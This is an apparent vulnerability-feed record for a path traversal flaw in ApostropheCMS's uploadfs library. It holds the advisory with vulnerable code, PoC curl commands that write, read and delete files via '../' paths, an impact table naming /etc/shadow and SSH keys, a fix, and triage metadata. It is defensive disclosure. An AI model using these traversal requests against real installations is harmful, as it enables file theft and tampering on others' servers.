{"id":"CVE-2026-113651","kind":"vulnerability","aliases":["CVE-2026-113651","GHSA-gmfx-5g6x-rr72"],"related":[],"title":"ApostropheCMS: Path traversal in uploadfs","description":"## Summary\nThe `uploadfs` library's local storage backend does not validate or sanitize user-supplied paths. The `prefixPath()` helper only strips double slashes (`//`) and the backend performs direct string concatenation (`uploadsPath + path`). An attacker can inject `../` sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.\n\n---\n\n## Details\n\n### Root Cause\n`packages/uploadfs/uploadfs.js:652-655`\n\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655\n\n```javascript\nfunction prefixPath(path) {\n    // Resolve any double // that results from the prefix\n    return (self.prefix + path).replace(/\\/\\//g, '/');\n}\n```\n\n`packages/uploadfs/lib/storage/local.js`\n\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108\n\n\n```javascript\ncopyIn: function(localPath, path, options, callback) {\n    const uploadPath = uploadsPath + path;  // [VULNERABLE]\n    return copyFile(localPath, uploadPath, callback);\n},\nstreamOut: function(path, options) {\n    return fs.createReadStream(uploadsPath + path);  // [VULNERABLE]\n},\nremove: function(path, callback) {\n    const uploadPath = uploadsPath + path;  // [VULNERABLE]\n    fs.unlink(uploadPath, callback);\n```\n\n- `prefixPath()` does **not** normalize paths or reject `../`.\n- The local backend concatenates the path directly into the filesystem call.\n- Node.js resolves `/app/uploads/../../../tmp/pwned.txt` → `/tmp/pwned.txt`.\n\n---\n\n## Proof of Concept (PoC)\n\nHere is the poc files \nhttps://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk\n\n### Build and run\n```bash\ndocker load < apostrophe-uploadfs-poc.tar\ndocker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc\npython3 exploit.py\n```\n\n### Expected output\n```text\n[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt\n[READ]\nStatus: 200| Body: You have been pwned!\n[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.\n```\n\n<img width=\"885\" height=\"171\" alt=\"Screenshot 2026-07-22 at 08 57 46\" src=\"https://github.com/user-attachments/assets/1b3ab5d5-43e4-4a81-8d19-c2270da072ae\" />\n\n### Manual reproduction\n```bash\n# Write outside uploads directory\ncurl -X POST http://localhost:3000/upload \\\n  -F \"path=../../../tmp/backdoor.txt\" \\\n  -F \"file=@-;filename=backdoor.txt\" <<< \"malicious content\"\n\n# Read it back\ncurl \"http://localhost:3000/read?path=../../../tmp/backdoor.txt\"\n\n# Delete it\ncurl -X DELETE \"http://localhost:3000/remove?path=../../../tmp/backdoor.txt\"\n```\n\n<img width=\"1004\" height=\"114\" alt=\"Screenshot 2026-07-22 at 08 58 36\" src=\"https://github.com/user-attachments/assets/26b59a98-1834-4f00-8e18-c869812ddd58\" />\n\n---\n\n## Impact\n\n| Capability | Risk |\n|------------|------|\n| **Arbitrary File Write** | Write to `/etc/cron.d/`, `.ssh/authorized_keys`, or webroot files → **Remote Code Execution** |\n| **Arbitrary File Read** | Exfiltrate `/etc/shadow`, application configs, database credentials |\n| **Arbitrary File Delete** | Destroy system or application files → **Denial of Service** |\n\n---\n\n## Remediation\n\nAdd path containment validation inside `uploadfs` (and every storage backend) before any filesystem operation:\n\n```javascript\nconst path = require('path');\nfunction safePath(base, target) {\n  const resolved = path.resolve(base, target);\n  if (!resolved.startsWith(path.resolve(base) + path.sep)) {\n    throw new Error('Path traversal blocked: target is outside the intended directory');\n  }\n  return resolved;\n}\n```","summary":"The uploadfs npm library's local storage backend joins user-supplied paths directly onto the uploads directory without rejecting '../' sequences. An attacker who can control an upload or file path can read, write, and delete arbitrary files on the host, which the advisory says can lead to remote code execution.","severity":"low","cvss":3.3,"epss":0.003280000062659383,"exploited":false,"exploited_at":null,"products":[{"name":"uploadfs","fixed":["1.28.0"],"affected":"< 1.28.0","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["apostrophecms","cwe-22","local-storage","node.js","package","self-hosted","uploadfs"],"not_affected_if":["cloud-storage-backend-only","no-user-controlled-upload-paths","uploadfs-at-1.28.0-or-later"],"how_to_check":"Run npm ls uploadfs in the project and check whether the version is below 1.28.0.\nCheck whether the app uses the local storage backend of uploadfs (ApostropheCMS with local uploads).","fix":"Upgrade uploadfs to 1.28.0 or later (ApostropheCMS apostrophe package that depends on it).\nUntil upgraded, reject paths containing '..' or resolve them and verify they stay inside the uploads directory.","status":"open","published_at":"2026-10-20T17:17:35+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","triaged_at":"2026-10-23T20:03:33+00:00","updated_at":"2026-10-23T21:57:20+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-23T20:03:33Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade uploadfs to 1.28.0 or later (ApostropheCMS apostrophe package that depends on it).\nUntil upgraded, reject paths containing '..' or resolve them and verify they stay inside the uploads directory.","summary":"The uploadfs npm library's local storage backend joins user-supplied paths directly onto the uploads directory without rejecting '../' sequences. An attacker who can control an upload or file path can read, write, and delete arbitrary files on the host, which the advisory says can lead to remote code execution.","category":"package","who_cares":["apostrophecms","uploadfs","node.js","self-hosted","local-storage"],"confidence":0.8,"analyst_note":"Advisory rates it low (CVSS 3.3) while the write/read/delete impact described looks higher; check the GHSA page at https://github.com/advisories/GHSA-gmfx-5g6x-rr72 for the official severity and whether the upload path is reachable unauthenticated.","how_to_check":"Run npm ls uploadfs in the project and check whether the version is below 1.28.0.\nCheck whether the app uses the local storage backend of uploadfs (ApostropheCMS with local uploads).\nunknown for any test against a live instance beyond the advisory PoC.","needs_analyst":true,"not_affected_if":["uploadfs-at-1.28.0-or-later","cloud-storage-backend-only","no-user-controlled-upload-paths"],"severity_if_unknown":"unknown"},"cost_usd":0.000617,"input_tokens":3591,"output_tokens":516,"severity_before":"low"},"analyst_status":null,"analyst_note":null,"search":"'-113651':8A,16A '-2026':7A,15A '-22':20B '-655':142C '/../../tmp/backdoor.txt':308C,322C,331C '/../../tmp/pwned.txt':277C '/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#l102-l104':169C '/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#l106-l108':172C '/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#l92-l95':166C '/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#l652-l655':145C '/app/uploads/../../../tmp/pwned.txt':231C '/etc/cron.d':340C '/etc/shadow':352C '/g':162C '/tmp/pwned.txt':232C '/urls/aky4v5s0jr#vw6xjdvczafk':244C '200':273C,280C '3000':256C,257C '3000/read':320C '3000/remove':329C '3000/upload':305C '5g6x':12A '652':141C 'add':369C 'advisori':73B 'apostroph':263C 'apostrophe-uploadfs-poc':262C 'apostrophe-uploadfs-poc.tar':251C 'apostrophecm':1A,18B 'applic':353C,363C 'arbitrari':66B,127C,288C,335C,348C,357C 'attack':52B,115C 'back':317C 'backdoor.txt':312C 'backend':37B,88C,107C,220C,378C 'base':390C,395C,400C 'bash':248C,296C 'block':407C 'bodi':274C,281C 'build':245C 'call':228C 'callback':179C,189C,202C,210C 'capabl':333C 'caus':139C 'code':79B,346C 'concaten':111C,221C 'concept':235C 'config':354C 'confirm':287C 'const':180C,203C,384C,392C 'contain':371C 'content':314C 'control':55B 'copyfil':186C 'copyin':174C 'credenti':356C 'curl':301C,318C,325C 'cve':6A,14A 'cwe':19B 'd':254C 'databas':355C 'delet':65B,132C,323C,327C,359C 'denial':365C 'destroy':360C 'detail':137C 'direct':43B,109C,224C 'directori':47B,124C,300C,413C 'docker':249C,252C 'doubl':103C,152C 'drive.proton.me':243C 'drive.proton.me/urls/aky4v5s0jr#vw6xjdvczafk':242C 'error':404C 'escap':120C 'everi':376C 'execut':80B,347C 'exfiltr':351C 'expect':268C 'exploit.py':267C 'f':306C,309C 'file':59B,67B,128C,241C,289C,310C,336C,344C,349C,358C,364C 'filenam':311C 'filesystem':136C,227C,381C 'fs.createreadstream':195C 'fs.unlink':208C 'function':147C,175C,191C,200C,388C 'ghsa':10A 'ghsa-gmfx-5g6x-rr72':9A 'github.com':144C,165C,168C,171C 'github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#l102-l104':167C 'github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#l106-l108':170C 'github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#l92-l95':164C 'github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#l652-l655':143C 'gmfx':11A 'helper':100C 'host':28B,70B,135C 'impact':332C 'inject':117C 'insid':373C 'intend':122C,412C 'javascript':146C,173C,383C 'join':38B 'lead':76B 'librari':33B,84C 'load':250C 'local':22B,35B,86C,219C 'local-storag':21B 'localhost':304C,319C,328C 'localpath':176C,187C 'malici':313C 'manual':294C 'name':258C 'new':403C 'node.js':24B,229C 'normal':214C 'npm':32B 'onto':44B 'oper':382C 'option':178C,193C 'output':269C 'outsid':298C,410C 'p':255C 'packag':25B 'packages/uploadfs/lib/storage/local.js':163C 'packages/uploadfs/uploadfs.js':140C 'path':2A,42B,60B,97C,113C,149C,160C,177C,183C,192C,197C,201C,206C,215C,223C,292C,307C,321C,330C,370C,385C,387C,405C 'path.resolve':394C,399C 'path.sep':401C 'perform':108C 'poc':236C,240C,261C,265C 'post':303C 'prefix':157C 'prefixpath':99C,148C,211C 'proof':233C 'pwned':285C 'python3':266C 'read':62B,129C,278C,315C,350C 'reject':49B,217C 'remedi':368C 'remot':78B,345C 'remov':199C 'replac':161C 'reproduct':295C 'requir':386C 'resolv':150C,230C,393C,415C 'resolved.startswith':398C 'result':125C,154C 'return':158C,185C,194C,414C 'risk':334C 'root':138C 'rr72':13A 'run':247C,253C 'safepath':389C 'sanit':93C 'say':74B 'self':27B 'self-host':26B 'self.prefix':159C 'sequenc':50B,118C 'servic':367C 'slash':104C 'ssh/authorized_keys':341C 'status':272C,279C 'storag':23B,36B,87C,377C 'streamout':190C 'string':110C 'strip':102C 'summari':81C 'suppli':41B,96C 'system':361C 'target':391C,396C,408C 'text':270C 'throw':402C 'travers':3A,293C,406C 'upload':46B,57B,123C,271C,275C,299C 'uploadf':5A,29B,31B,83C,260C,264C,374C 'uploadfs':17A 'uploadfs-poc':259C 'uploadpath':181C,188C,204C,209C 'uploadspath':112C,182C,196C,205C 'user':40B,95C 'user-suppli':39B,94C 'valid':91C,372C 'via':291C 'vulner':184C,198C,207C,286C 'webroot':343C 'without':48B 'write':63B,130C,297C,337C,338C 'write/read/delete':290C 'x':302C,326C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"C","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-20T17:17:35+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-gmfx-5g6x-rr72","url":"https://github.com/advisories/GHSA-gmfx-5g6x-rr72","severity":"low","published_at":"2026-10-20T18:21:59+00:00","modified_at":"2026-10-20T18:22:01+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","fetched_at":"2026-10-23T19:11:32+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-113651","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113651","severity":null,"published_at":"2026-10-20T17:17:35+00:00","modified_at":"2026-10-20T19:53:10+00:00","first_seen_at":"2026-10-23T21:57:20+00:00","fetched_at":"2026-10-23T22:28:58+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}